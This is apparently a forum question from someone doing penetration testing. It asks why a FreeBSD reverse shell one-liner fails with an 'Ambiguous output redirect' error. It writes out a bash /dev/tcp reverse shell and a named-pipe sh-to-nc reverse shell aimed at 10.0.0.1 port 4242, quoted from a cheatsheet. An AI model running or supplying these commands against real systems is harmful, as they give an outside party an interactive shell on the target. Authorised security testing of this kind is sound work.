FreeBSD Reverse Shell Command Issue: Ambiguous Output Redirect Error

I’ve been experimenting with penetration testing recently, and I need to use reverse shell techniques for testing. I’ve previously used reverse shell on Ubuntu with the following command: /bin/bash -i >& /dev/tcp//9090 0>&1 Now, I want to achieve the same on a FreeBSD system for testing purposes. I found this website Reverse Shell Cheatsheet and saw the following command: rm -f /tmp/f; mknod /tmp/f p; cat /tmp/f | /bin/sh -i 2>&1 | nc 10.0.0.1 4242 > /tmp/f However, when I tried to implement it, I encountered an "Ambiguous output redirect" error. Initially, using nc 9090 works successfully. Therefore, I’m looking for assistance to resolve this issue. Thank you!
